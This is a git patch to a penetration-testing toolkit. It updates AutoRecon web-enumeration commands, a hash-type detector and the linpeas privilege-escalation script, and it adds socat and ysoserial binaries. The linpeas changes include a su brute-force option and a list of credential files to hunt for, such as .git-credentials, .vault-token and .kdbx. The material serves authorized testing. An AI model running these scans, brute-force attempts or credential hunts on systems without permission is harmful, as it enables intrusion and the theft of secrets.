From efc3b655a87d4a09b830b56563401d40fd265332 Mon Sep 17 00:00:00 2001 From: Roman Hergenreder Date: Wed, 30 Jun 2021 20:44:38 +0200 Subject: [PATCH] Update --- autorecon.py | 8 +- autorecon_config/service-scans.toml | 16 +- crack_hash.py | 13 +- fileserver.py | 2 +- linpeas.sh | 2503 +++++++++++++-------------- lse.sh | 36 +- socat | Bin 0 -> 375176 bytes ssh-check-username.py | 12 +- template.py | 4 +- win/accesschk.exe | Bin 1378688 -> 1379216 bytes win/accesschk64.exe | Bin 759176 -> 759680 bytes win/winPEAS.bat | 2 +- win/ysoserial/NDesk.Options.dll | Bin 0 -> 22016 bytes win/ysoserial/ysoserial.exe | Bin 0 -> 416768 bytes 14 files changed, 1245 insertions(+), 1351 deletions(-) create mode 100644 socat create mode 100644 win/ysoserial/NDesk.Options.dll create mode 100644 win/ysoserial/ysoserial.exe diff --git a/autorecon.py b/autorecon.py index 5b4c07f..e9bfd78 100644 --- a/autorecon.py +++ b/autorecon.py @@ -221,7 +221,12 @@ def calculate_elapsed_time(start_time): async def read_stream(stream, target, tag='?', patterns=[], color=Fore.BLUE): address = target.address while True: - line = await stream.readline() + line = "" + try: + line = await stream.readline() + except ValueError: + continue + if line: line = str(line.rstrip(), 'utf8', 'ignore') debug(color + '[' + Style.BRIGHT + address + ' ' + tag + Style.NORMAL + '] ' + Fore.RESET + '{line}', color=color) @@ -878,4 +883,3 @@ def main(): if __name__ == '__main__': main() - diff --git a/autorecon_config/service-scans.toml b/autorecon_config/service-scans.toml index f51fced..55197e4 100644 --- a/autorecon_config/service-scans.toml +++ b/autorecon_config/service-scans.toml @@ -59,7 +59,7 @@ service-names = [ ] [[finger.scan]] - nmap = 'nmap-finger' + name = 'nmap-finger' command = 'nmap {nmap_extra} -sV -p {port} --script="banner,finger" -oN "{scandir}/{protocol}_{port}_finger_nmap.txt" -oX "{scandir}/xml/{protocol}_{port}_finger_nmap.xml" {address}' [ftp] @@ -126,8 +126,8 @@ ignore-service-names = [ command = 'whatweb --color=never --no-errors -a 3 -v {scheme}://{address}:{port} 2>&1 | tee "{scandir}/{protocol}_{port}_{scheme}_whatweb.txt"' [[http.scan]] - name = 'ffuf' - command = 'ffuf -u {scheme}://{address}:{port}/FUZZ -t 10 -w /usr/share/seclists/Discovery/Web-Content/common.txt -e ".txt,.html,.php,.asp,.aspx,.jsp" -v | tee {scandir}/{protocol}_{port}_{scheme}_ffuf.txt' + name = 'feroxbuster' + command = 'feroxbuster -u {scheme}://{address}:{port} -t 10 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x "txt,html,php,asp,aspx,jsp" -v -k -n -o {scandir}/{protocol}_{port}_{scheme}_feroxbuster.txt' [[http.manual]] description = '(nikto) old but generally reliable web server enumeration tool' @@ -136,10 +136,10 @@ ignore-service-names = [ ] [[http.manual]] - description = '(ffuf) Multi-threaded recursive directory/file enumeration for web servers using various wordlists:' + description = '(feroxbuster) Multi-threaded recursive directory/file enumeration for web servers using various wordlists:' commands = [ - 'ffuf -u {scheme}://{address}:{port}/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt -e ".txt,.html,.php,.asp,.aspx,.jsp" -v | tee {scandir}/{protocol}_{port}_{scheme}_ffuf_big.txt', - 'ffuf -u {scheme}://{address}:{port}/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e ".txt,.html,.php,.asp,.aspx,.jsp" -v | tee {scandir}/{protocol}_{port}_{scheme}_ffuf_dirbuster.txt' + 'feroxbuster -u {scheme}://{address}:{port} -t 10 -w /usr/share/seclists/Discovery/Web-Content/big.txt -x "txt,html,php,asp,aspx,jsp" -v -k -n -o {scandir}/{protocol}_{port}_{scheme}_feroxbuster_big.txt', + 'feroxbuster -u {scheme}://{address}:{port} -t 10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "txt,html,php,asp,aspx,jsp" -v -k -n -o {scandir}/{protocol}_{port}_{scheme}_feroxbuster_dirbuster.txt' ] [[http.manual]] @@ -159,8 +159,8 @@ ignore-service-names = [ [[http.manual]] description = '(gobuster v3) Directory/file enumeration for web servers using various wordlists (same as dirb above):' commands = [ - 'gobuster dir -u {scheme}://{address}:{port}/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -e -k -l -s "200,204,301,302,307,403,500" -x "txt,html,php,asp,aspx,jsp" -z -o "{scandir}/{protocol}_{port}_{scheme}_gobuster_big.txt"', - 'gobuster dir -u {scheme}://{address}:{port}/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -k -l -s "200,204,301,302,307,403,500" -x "txt,html,php,asp,aspx,jsp" -z -o "{scandir}/{protocol}_{port}_{scheme}_gobuster_dirbuster.txt"' + 'gobuster dir -u {scheme}://{address}:{port}/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -e -k -s "200,204,301,302,307,403,500" -x "txt,html,php,asp,aspx,jsp" -z -o "{scandir}/{protocol}_{port}_{scheme}_gobuster_big.txt"', + 'gobuster dir -u {scheme}://{address}:{port}/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -k -s "200,204,301,302,307,403,500" -x "txt,html,php,asp,aspx,jsp" -z -o "{scandir}/{protocol}_{port}_{scheme}_gobuster_dirbuster.txt"' ] [[http.manual]] diff --git a/crack_hash.py b/crack_hash.py index 97e9792..7348abf 100755 --- a/crack_hash.py +++ b/crack_hash.py @@ -65,6 +65,7 @@ class HashType(enum.Enum): LM = 3000 NTLM = 1000 MSSQL = 1731 + NTLMV2_SSP = 5600 # Kerberos KERBEROS_AS_REQ = 7500 @@ -109,9 +110,15 @@ class Hash: elif crypt_type == "S": self.type.append(HashType.DRUPAL7) else: - self.isSalted = ":" in raw_hash - if self.isSalted: - raw_hash, self.salt = raw_hash.split(":") + if ":" in raw_hash: + parts = raw_hash.split(":") + if len(parts) == 2: + self.isSalted = True + raw_hash, self.salt = raw_hash.split(":") + elif len(parts) == 6: + self.type.append(HashType.NTLMV2_SSP) + + # Base64 -> hex try: diff --git a/fileserver.py b/fileserver.py index 44e9522..ca62b61 100755 --- a/fileserver.py +++ b/fileserver.py @@ -132,7 +132,7 @@ class HttpFileServer(HTTPServer): data = data.encode("UTF-8") # return 200 - OK and data - self.addRoute(name, lambda req: (data, 200)) + self.addRoute(name, lambda req: (200, data)) def dumpRequest(self, name): self.dumpRequests.append(self.cleanPath(name)) diff --git a/linpeas.sh b/linpeas.sh index ecf5a2b..cd02365 100755 --- a/linpeas.sh +++ b/linpeas.sh @@ -1,6 +1,6 @@ #!/bin/sh -VERSION="v3.2.0" +VERSION="v3.2.6" ADVISORY="This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission." ########################################### @@ -15,17 +15,25 @@ else fi -########################################### +########################################### #---------------) Colors (----------------# ########################################### C=$(printf '\033') RED="${C}[1;31m" +SED_RED="${C}[1;31m&${C}[0m" GREEN="${C}[1;32m" -Y="${C}[1;33m" -B="${C}[1;34m" +SED_GREEN="${C}[1;32m&${C}[0m" +YELLOW="${C}[1;33m" +SED_YELLOW="${C}[1;33m&${C}[0m" +SED_RED_YELLOW="${C}[1;31;103m&${C}[0m" +BLUE="${C}[1;34m" +SED_BLUE="${C}[1;34m&${C}[0m" +ITALIC_BLUE="${C}[1;34m${C}[3m" LG="${C}[1;37m" #LightGray +SED_LG="${C}[1;37m&${C}[0m" DG="${C}[1;90m" #DarkGray +SED_DG="${C}[1;90m&${C}[0m" NC="${C}[0m" UNDERLINED="${C}[5m" ITALIC="${C}[3m" @@ -47,31 +55,34 @@ QUIET="" CHECKS="SysI,Container,Devs,AvaSof,ProCronSrvcsTmrsSocks,Net,UsrI,SofI,IntFiles" WAIT="" PASSWORD="" +NOCOLOR="" +VERBOSE="" THREADS="`((grep -c processor /proc/cpuinfo 2>/dev/null) || ((command -v lscpu >/dev/null 2>&1) && (lscpu | grep '^CPU(s):' | awk '{print $2}')) || echo -n 2) | tr -d "\n"`" [ -z "$THREADS" ] && THREADS="2" #If THREADS is empty, put number 2 [ -n "$THREADS" ] && eTHREADS="2" #If THREADS is null, put number 2 [ "$THREADS" -eq "$THREADS" ] 2>/dev/null && : || THREADS="2" #It THREADS is not a number, put number 2 HELP=$GREEN"Enumerate and search Privilege Escalation vectors. ${NC}This tool enum and search possible misconfigurations$DG (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...)$NC inside the host and highlight possible misconfigurations with colors. - $Y-h$B To show this message - $Y-q$B Do not show banner - $Y-a$B All checks (1min of processes and su brute) - Noisy mode, for CTFs mainly - $Y-s$B SuperFast (don't check some time consuming checks) - Stealth mode - $Y-w$B Wait execution between big blocks - $Y-n$B Do not export env variables related with history and do not check Internet connectivity - $Y-P$B Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su' - $Y-o$B Only execute selected checks (SysI, Container, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI, IntFiles). Select a comma separated list. - $Y-L$B Force linpeas execution. - $Y-M$B Force macpeas execution. - $Y-t$B Threads to search files inside the system (by default it's the number of CPU threads). - $Y-d $B Discover hosts using fping or ping.$DG Ex: -d 192.168.0.1/24 - $Y-p -d $B Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports.$DG Ex: -d 192.168.0.1/24 -p 53,139 - $Y-i [-p ]$B Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead.$DG Ex: -i 127.0.0.1 -p 53,80,443,8000,8080 - $GREEN Notice$B that if you select some network action, no PE check will be performed\n\n$NC" + ${YELLOW}-h${BLUE} To show this message + ${YELLOW}-q${BLUE} Do not show banner + ${YELLOW}-a${BLUE} All checks (1min of processes and su brute) - Noisy mode, for CTFs mainly + ${YELLOW}-s${BLUE} SuperFast (don't check some time consuming checks) - Stealth mode + ${YELLOW}-w${BLUE} Wait execution between big blocks + ${YELLOW}-n${BLUE} Do not export env variables related with history and do not check Internet connectivity + ${YELLOW}-N${BLUE} Do not use colours + ${YELLOW}-v${BLUE} Verbose execution + ${YELLOW}-P${BLUE} Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su' + ${YELLOW}-o${BLUE} Only execute selected checks (SysI, Container, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI, IntFiles). Select a comma separated list. + ${YELLOW}-L${BLUE} Force linpeas execution. + ${YELLOW}-M${BLUE} Force macpeas execution. + ${YELLOW}-d ${BLUE} Discover hosts using fping or ping.$DG Ex: -d 192.168.0.1/24 + ${YELLOW}-p -d ${BLUE} Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports.$DG Ex: -d 192.168.0.1/24 -p 53,139 + ${YELLOW}-i [-p ]${BLUE} Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead.$DG Ex: -i 127.0.0.1 -p 53,80,443,8000,8080 + $GREEN Notice${BLUE} that if you select some network action, no PE check will be performed$NC" -while getopts "h?asnd:p:i:P:qo:LMwt:" opt; do +while getopts "h?asnd:p:i:P:qo:LMwNv" opt; do case "$opt" in - h|\?) printf "$HELP"$NC; exit 0;; + h|\?) printf "%s\n\n" "$HELP$NC"; exit 0;; a) FAST="";; s) SUPERFAST=1;; n) NOTEXPORT=1;; @@ -84,11 +95,32 @@ while getopts "h?asnd:p:i:P:qo:LMwt:" opt; do L) MACPEAS="";; M) MACPEAS="1";; w) WAIT=1;; - t) THREADS=$OPTARG;; + N) NOCOLOR="1";; + v) VERBOSE="1";; esac done if [ "$MACPEAS" ]; then SCRIPTNAME="macpeas"; else SCRIPTNAME="linpeas"; fi +if [ "$NOCOLOR" ]; then + C="" + RED="" + SED_RED="" + GREEN="" + SED_GREEN="" + YELLOW="" + SED_YELLOW="" + SED_RED_YELLOW="" + BLUE="" + SED_BLUE="" + ITALIC_BLUE="" + LG="" + SED_LG="" + DG="" + SED_DG="" + NC="" + UNDERLINED="" + ITALIC="" +fi ########################################### @@ -124,7 +156,7 @@ print_banner(){ \e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[38;5;22;48;5;16m \e[38;5;16;48;5;16m▓\e[38;5;22;48;5;233m \e[38;5;119;48;5;76m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;70m░\e[38;5;22;48;5;22m \e[38;5;16;48;5;16m▓\e[38;5;119;48;5;233m░\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[0m \e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;233m░\e[38;5;16;48;5;16m▓\e[38;5;16;48;5;16m▓\e[38;5;16;48;5;16m▓\e[38;5;119;48;5;233m░\e[38;5;119;48;5;64m▒\e[38;5;119;48;5;70m░\e[38;5;119;48;5;76m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;82m░\e[38;5;119;48;5;76m░\e[38;5;119;48;5;70m▒\e[38;5;119;48;5;234m▒\e[38;5;16;48;5;16m▓\e[38;5;16;48;5;16m▓\e[38;5;16;48;5;16m▓\e[38;5;119;48;5;237m▒\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[38;5;119;48;5;71m▒\e[0m '"; - + else if [ -f "/bin/bash" ]; then /bin/bash -c "printf ' @@ -153,7 +185,7 @@ print_banner(){ \e[48;2;95;106;94m\e[38;2;253;253;253m▄\e[48;2;81;137;65m\e[38;2;243;243;243m▄\e[48;2;91;166;73m\e[38;2;182;185;181m▄\e[48;2;95;174;76m\e[38;2;61;73;59m▄\e[48;2;98;177;78m\e[38;2;33;66;26m▄\e[48;2;98;177;78m\e[38;2;81;143;65m▄\e[48;2;98;177;78m\e[38;2;102;182;81m▄\e[48;2;98;177;78m\e[38;2;97;176;77m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;99;179;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;97;177;77m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;176;78m▄\e[48;2;98;177;78m\e[38;2;99;179;78m▄\e[48;2;98;177;78m\e[38;2;93;169;74m▄\e[48;2;98;177;78m\e[38;2;56;106;44m▄\e[48;2;96;174;77m\e[38;2;16;31;13m▄\e[48;2;68;126;54m\e[38;2;58;58;58m▄\e[48;2;28;50;23m\e[38;2;180;180;180m▄\e[48;2;20;22;20m\e[38;2;240;240;240m▄\e[48;2;86;85;86m\e[38;2;253;253;253m▄\e[48;2;199;199;199m\e[38;2;255;255;255m▄ \e[0m \e[48;2;146;147;145m\e[38;2;254;254;254m▄\e[48;2;41;52;39m\e[38;2;242;242;242m▄\e[48;2;39;76;30m\e[38;2;192;192;192m▄\e[48;2;73;136;57m\e[38;2;132;134;132m▄\e[48;2;90;162;72m\e[38;2;96;100;95m▄\e[48;2;99;175;79m\e[38;2;60;69;58m▄\e[48;2;98;177;78m\e[38;2;46;59;43m▄\e[48;2;98;177;78m\e[38;2;32;51;27m▄\e[48;2;98;178;78m\e[38;2;28;50;23m▄\e[48;2;98;178;78m\e[38;2;28;55;22m▄\e[48;2;98;178;78m\e[38;2;35;64;28m▄\e[48;2;98;177;78m\e[38;2;41;75;33m▄\e[48;2;98;177;78m\e[38;2;50;89;41m▄\e[48;2;98;177;77m\e[38;2;54;89;45m▄\e[48;2;98;177;77m\e[38;2;53;89;44m▄\e[48;2;98;177;78m\e[38;2;49;86;39m▄\e[48;2;98;177;78m\e[38;2;45;83;36m▄\e[48;2;98;177;78m\e[38;2;40;74;32m▄\e[48;2;98;177;78m\e[38;2;35;64;28m▄\e[48;2;98;178;78m\e[38;2;39;60;33m▄\e[48;2;90;163;71m\e[38;2;55;61;53m▄\e[48;2;53;97;41m\e[38;2;111;111;111m▄\e[48;2;24;44;19m\e[38;2;186;186;186m▄\e[48;2;36;41;35m\e[38;2;242;242;242m▄\e[48;2;132;131;132m\e[38;2;255;255;255m▄\e[0m '"; - + else echo " \e[48;5;108m \e[48;5;59m \e[48;5;71m \e[48;5;77m \e[48;5;22m \e[48;5;108m \e[48;5;114m \e[48;5;59m \e[49m \e[48;5;108m \e[48;5;71m \e[48;5;22m \e[48;5;113m \e[48;5;71m \e[48;5;94m \e[48;5;214m \e[48;5;58m \e[48;5;214m \e[48;5;100m \e[48;5;71m \e[48;5;16m \e[48;5;108m \e[49m @@ -179,21 +211,21 @@ print_banner(){ echo "" if [ !"$QUIET" ]; then print_banner; fi -printf $B" $SCRIPTNAME $VERSION ${Y}by carlospolop\n"$NC; +printf ${BLUE}" $SCRIPTNAME $VERSION ${YELLOW}by carlospolop\n"$NC; echo "" -printf $Y"ADVISORY: "$B"$ADVISORY\n"$NC +printf ${YELLOW}"ADVISORY: "${BLUE}"$ADVISORY\n"$NC echo "" -printf $B"Linux Privesc Checklist: "$Y"https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist\n"$NC +printf ${BLUE}"Linux Privesc Checklist: "${YELLOW}"https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist\n"$NC echo " LEGEND:" | sed "s,LEGEND,${C}[1;4m&${C}[0m," -echo " RED/YELLOW: 95% a PE vector" | sed "s,RED/YELLOW,${C}[1;31;103m&${C}[0m," -echo " RED: You must take a look at it" | sed "s,RED,${C}[1;31m&${C}[0m," +echo " RED/YELLOW: 95% a PE vector" | sed "s,RED/YELLOW,${SED_RED_YELLOW}," +echo " RED: You should take a look to it" | sed "s,RED,${SED_RED}," echo " LightCyan: Users with console" | sed "s,LightCyan,${C}[1;96m&${C}[0m," -echo " Blue: Users without console & mounted devs" | sed "s,Blue,${C}[1;34m&${C}[0m," -echo " Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) " | sed "s,Green,${C}[1;32m&${C}[0m," +echo " Blue: Users without console & mounted devs" | sed "s,Blue,${SED_BLUE}," +echo " Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) " | sed "s,Green,${SED_GREEN}," echo " LightMagenta: Your username" | sed "s,LightMagenta,${C}[1;95m&${C}[0m," if [ "$IAMROOT" ]; then echo "" - echo " YOU ARE ALREADY ROOT!!! (it could take longer to complete execution)" | sed "s,YOU ARE ALREADY ROOT!!!,${C}[1;31;103m&${C}[0m," + echo " YOU ARE ALREADY ROOT!!! (it could take longer to complete execution)" | sed "s,YOU ARE ALREADY ROOT!!!,${SED_RED_YELLOW}," sleep 3 fi echo "" @@ -340,7 +372,7 @@ if [ $? -ne 0 ] ; then if [ $? -eq 0 ] ; then E=r else - echo "${Y}WARNING: No suitable option found for extended regex with sed. Continuing but the results might be unreliable.${NC}" + echo "${YELLOW}WARNING: No suitable option found for extended regex with sed. Continuing but the results might be unreliable.${NC}" fi fi @@ -394,7 +426,7 @@ PASSTRY="2000" #Default num of passwds to try (all by default) if [ "$PORTS" ] || [ "$DISCOVERY" ] || [ "$IP" ]; then MAXPATH_FIND_W="1"; fi #If Network reduce the time on this SEDOVERFLOW=true -for grp in `groups $USER 2>/dev/null | cut -d ":" -f2`; do +for grp in `groups $USER 2>/dev/null | cut -d ":" -f2`; do wgroups="$wgroups -group $grp -or " done wgroups="`echo $wgroups | sed -e 's/ -or$//'`" @@ -405,9 +437,9 @@ while $SEDOVERFLOW; do #else # WF=`find / -maxdepth $MAXPATH_FIND_W -type d ! -path "/proc/*" -and '(' -writable -or -user $USER ')' 2>/dev/null | sort` #fi - Wfolders=`printf "$WF" | tr '\n' '|'`"|[^\*][^\ ]*\ \*" - Wfolder="`printf "$WF" | grep "tmp\|shm\|home\|Users\|root\|etc\|var\|opt\|bin\|lib\|mnt\|private\|Applications" | head -n1`" - printf "test\ntest\ntest\ntest"| sed -${E} "s,$Wfolders|\./|\.:|:\.,${C}[1;31;103m&${C}[0m,g" >/dev/null 2>&1 + Wfolders=`printf "%s" "$WF" | tr '\n' '|'`"|[^\*][^\ ]*\ \*" + Wfolder="`printf "%s" "$WF" | grep "tmp\|shm\|home\|Users\|root\|etc\|var\|opt\|bin\|lib\|mnt\|private\|Applications" | head -n1`" + printf "test\ntest\ntest\ntest"| sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" >/dev/null 2>&1 if [ $? -eq 0 ]; then SEDOVERFLOW=false else @@ -441,9 +473,9 @@ profiledG="01-locale-fix.sh|256term.csh|256term.sh|abrt-console-notification.sh| knw_emails=".*@aivazian.fsnet.co.uk|.*@angband.pl|.*@canonical.com|.*centos.org|.*debian.net|.*debian.org|.*@jff.email|.*kali.org|.*linux.it|.*@linuxia.de|.*@lists.debian-maintainers.org|.*@mit.edu|.*@oss.sgi.com|.*@qualcomm.com|.*redhat.com|.*ubuntu.com|.*@vger.kernel.org|rogershimizu@gmail.com|thmarques@gmail.com" -timersG="anacron.timer|apt-daily.timer|apt-daily-upgrade.timer|e2scrub_all.timer|fstrim.timer|fwupd-refresh.timer|geoipupdate.timer|io.netplan.Netplan|logrotate.timer|man-db.timer|mlocate.timer|motd-news.timer|phpsessionclean.timer|snapd.refresh.timer|snapd.snap-repair.timer|systemd-tmpfiles-clean.timer|systemd-readahead-done.timer|ureadahead-stop.timer" +timersG="anacron.timer|apt-daily.timer|apt-daily-upgrade.timer|e2scrub_all.timer|fstrim.timer|fwupd-refresh.timer|geoipupdate.timer|io.netplan.Netplan|logrotate.timer|man-db.timer|mlocate.timer|motd-news.timer|phpsessionclean.timer|snapd.refresh.timer|snapd.snap-repair.timer|systemd-tmpfiles-clean.timer|systemd-readahead-done.timer|ua-messaging.timer|ureadahead-stop.timer" -commonrootdirsG="^/$|/bin$|/boot$|/.cache$|/cdrom|/dev$|/etc$|/home$|/lost+found$|/lib$|/lib64$|/media$|/mnt$|/opt$|/proc$|/root$|/run$|/sbin$|/snap$|/srv$|/sys$|/tmp$|/usr$|/var$" +commonrootdirsG="^/$|/bin$|/boot$|/.cache$|/cdrom|/dev$|/etc$|/home$|/lost+found$|/lib$|/lib32$|libx32$|/lib64$|lost\+found|/media$|/mnt$|/opt$|/proc$|/root$|/run$|/sbin$|/snap$|/srv$|/sys$|/tmp$|/usr$|/var$" commonrootdirsMacG="^/$|/.DocumentRevisions-V100|/.fseventsd|/.PKInstallSandboxManager-SystemSoftware|/.Spotlight-V100|/.Trashes|/.vol|/Applications|/bin|/cores|/dev|/home|/Library|/macOS Install Data|/net|/Network|/opt|/private|/sbin|/System|/Users|/usr|/Volumes" ldsoconfdG="/lib32|/lib/x86_64-linux-gnu|/usr/lib32|/usr/lib/oracle/19.6/client64/lib/|/usr/lib/x86_64-linux-gnu/libfakeroot|/usr/lib/x86_64-linux-gnu|/usr/local/lib/x86_64-linux-gnu|/usr/local/lib" @@ -456,6 +488,8 @@ GREP_DOCKER_SOCK_INFOS="Architecture|OSType|Name|DockerRootDir|NCPU|OperatingSys GREP_DOCKER_SOCK_INFOS_IGNORE="IndexConfig" GREP_IGNORE_MOUNTS="/ /|/cgroup|/var/lib/docker/|/null | proc proc |/dev/console|docker.sock" +INT_HIDDEN_FILES=".rhosts|.irssi|.keyring|.cer|.jks|.service|.vnc|.p12|.ftpconfig|.crt|.lesshst|.git-credentials|._history|.sudo_as_admin_successful|.timer|.gnupg|.gpg|.sqlite3|.recently-used.xbel|.erlang.cookie|.socket|.pem|.cloudflared|.bashrc|.git|.pypirc|.csr|.plan|.rdg|.ovpn|.pfx|.gitconfig|.svn|.der|.sqlite|.google_authenticator|.viminfo|.bluemix|.htpasswd|.kdbx|.mozilla|.env|.vault-token|.ldaprc|.swp|.msmtprc|.profile|.github|.pgp|.keystore|.db|.k5login|.key" + ########################################### #---------) Checks before start (---------# ########################################### @@ -470,10 +504,10 @@ DISCOVER_BAN_BAD="No network discovery capabilities (fping or ping not found)" FPING=$(command -v fping 2>/dev/null) PING=$(command -v ping 2>/dev/null) if [ "$FPING" ]; then - DISCOVER_BAN_GOOD="$GREEN$FPING$B is available for network discovery$LG ($SCRIPTNAME can discover hosts, learn more with -h)" + DISCOVER_BAN_GOOD="$GREEN$FPING${BLUE} is available for network discovery$LG ($SCRIPTNAME can discover hosts, learn more with -h)" else if [ "$PING" ]; then - DISCOVER_BAN_GOOD="$GREEN$PING$B is available for network discovery$LG ($SCRIPTNAME can discover hosts, learn more with -h)" + DISCOVER_BAN_GOOD="$GREEN$PING${BLUE} is available for network discovery$LG ($SCRIPTNAME can discover hosts, learn more with -h)" fi fi @@ -492,7 +526,7 @@ if [ -z "$FOUND_NC" ]; then FOUND_NC=$(command -v nc.openbsd 2>/dev/null); fi if [ "$FOUND_NC" ]; then - SCAN_BAN_GOOD="$GREEN$FOUND_NC$B is available for network discover & port scanning$LG ($SCRIPTNAME can discover hosts and scan ports, learn more with -h)" + SCAN_BAN_GOOD="$GREEN$FOUND_NC${BLUE} is available for network discover & port scanning$LG ($SCRIPTNAME can discover hosts and scan ports, learn more with -h)" fi @@ -501,29 +535,83 @@ fi ########################################### echo_not_found (){ - printf $DG"$1 Not Found\n"$NC + if [ "$VERBOSE" ]; then + printf $DG"$1 Not Found\n"$NC + fi +} + +warn_exec(){ + $* || echo_not_found $1 } echo_no (){ printf $DG"No\n"$NC } +print_title(){ + if [ "$VERBOSE" ]; then + END_T2_TIME=`date +%s 2>/dev/null` + if [ "$START_T2_TIME" ]; then + TOTAL_T2_TIME=$(($END_T2_TIME - $START_T2_TIME)) + printf $DG"This check took $TOTAL_T2_TIME seconds\n"$NC + fi + + END_T1_TIME=`date +%s 2>/dev/null` + if [ "$START_T1_TIME" ]; then + TOTAL_T1_TIME=$(($END_T1_TIME - $START_T1_TIME)) + printf $DG"The total section execution took $TOTAL_T1_TIME seconds\n"$NC + echo "" + fi + + START_T1_TIME=`date +%s 2>/dev/null` + fi + + printf ${BLUE}"════════════════════════════════════╣ "$GREEN"$1"${BLUE}" ╠════════════════════════════════════\n"$NC +} + +print_2title(){ + if [ "$VERBOSE" ]; then + END_T2_TIME=`date +%s 2>/dev/null` + if [ "$START_T2_TIME" ]; then + TOTAL_T2_TIME=$(($END_T2_TIME - $START_T2_TIME)) + printf $DG"This check took $TOTAL_T2_TIME seconds\n"$NC + echo "" + fi + + START_T2_TIME=`date +%s 2>/dev/null` + fi + + printf ${BLUE}"╔══════════╣ "$GREEN"$1\n"$NC #There are 10 "═" +} + +print_3title(){ + printf ${BLUE}"══╣ "$GREEN"$1\n"$NC #There are 2 "═" +} + +print_list(){ + printf ${BLUE}"═╣ "$GREEN"$1"$NC #There is 1 "═" +} + +print_info(){ + printf "${BLUE}╚ ${ITALIC_BLUE}$1\n"$NC +} + print_ps (){ - (ls -d /proc/*/ 2>/dev/null | while read f; do + (ls -d /proc/*/ 2>/dev/null | while read f; do CMDLINE=`cat $f/cmdline 2>/dev/null | grep -av "seds,"`; #Delete my own sed processess - if [ "$CMDLINE" ]; - then USER2=ls -ld $f | awk '{print $3}'; PID=`echo $f | cut -d "/" -f3`; - printf " %-13s %-8s %s\n" "$USER2" "$PID" 